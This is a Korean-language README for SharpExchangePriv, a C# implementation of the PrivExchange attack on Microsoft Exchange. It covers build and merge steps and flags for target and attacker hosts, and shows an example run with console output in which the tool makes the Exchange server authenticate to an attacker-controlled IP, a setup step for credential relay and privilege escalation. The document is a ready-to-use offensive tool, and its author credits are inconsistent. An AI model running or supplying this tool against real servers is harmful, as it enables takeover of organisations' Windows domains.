
PrivExchange의 C# 구현, @_dirkjan 제작
PrivExchange의 C# 구현체입니다. 작성자 @_dirkjan. @g0ldenGunSec님께 감사드립니다. 그의 코드를 참고했습니다.
Exchange 2016을 대상으로 테스트되었습니다.
SharpExchangePriv는 .NET 3.5를 대상으로 구축되었으며 Visual Studio 2017과 호환됩니다. 솔루션 파일을 열고 프로젝트를 빌드하기만 하면 됩니다.
인자를 파싱하기 위해 CommandLineParser를 사용했습니다. 이렇게 하면 실행 파일과 함께 CommandLine.dll 파일이 생성됩니다. .exe와 .dll을 하나의 실행 파일로 간단히 병합할 수 있습니다:
ILMerge.exe /out:C:\SharpExchangePriv.exe C:\Release\SharpExchangePriv.exe C:\Release\CommandLine.dll
--targetHost대상 호스트의 IP를 설정합니다.
--attackerHost공격자의 IP를 설정합니다.
--attackerPort공격자의 포트를 설정합니다.
--attackerPage공격자의 페이지를 설정합니다.
--sslSSL을 활성화합니다.
--exchangeVersionExchange 버전을 설정합니다. 기본값은 2016입니다.
--exchangePortExchange 대상 포트를 설정합니다.
C:\Users\george.brown\Desktop>SharpExchangePriv.exe --attackerHost 192.168.11.132 --targetHost 192.168.11.10
/$$$$$$$ /$$ /$$$$$$$$ /$$
| $$__ $$ |__/ | $$_____/ | $$
| $$ \ $$ /$$$$$$ /$$ /$$ /$$| $$ /$$ /$$ /$$$$$$$| $$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$
| $$$$$$$//$$__ $$| $$| $$ /$$/| $$$$$ | $$ /$$/ /$$_____/| $$__ $$ |____ $$| $$__ $$ /$$__ $$ /$$__ $$
| $$____ /| $$ \__ /| $$ \ $$/$$/ | $$__ / \ $$$$/ | $$ | $$ \ $$ /$$$$$$$| $$ \ $$| $$ \ $$| $$$$$$$$
| $$ | $$ | $$ \ $$$/ | $$ >$$ $$ | $$ | $$ | $$ /$$__ $$| $$ | $$| $$ | $$| $$_____ /
| $$ | $$ | $$ \ $/ | $$$$$$$$ /$$/\ $$| $$$$$$$| $$ | $$| $$$$$$$| $$ | $$| $$$$$$$| $$$$$$$
|__/ |__/ |__/ \_/ |________/|__/ \__/ \_______/|__/ |__/ \_______/|__/ |__/ \____ $$ \_______/
/$$ \ $$
| $$$$$$/
\______ /
@den_n1s
The target URL is https://192.168.11.10:443/EWS/Exchange.asmx
Sent request to exchange server: https://192.168.11.10:443/EWS/Exchange.asmx
HTTP 200 response received, the target Exchange server should be authenticating shortly.
버그는 Github 프로젝트 페이지에 제출하거나 트위터 @den_n1s로 연락해 주세요.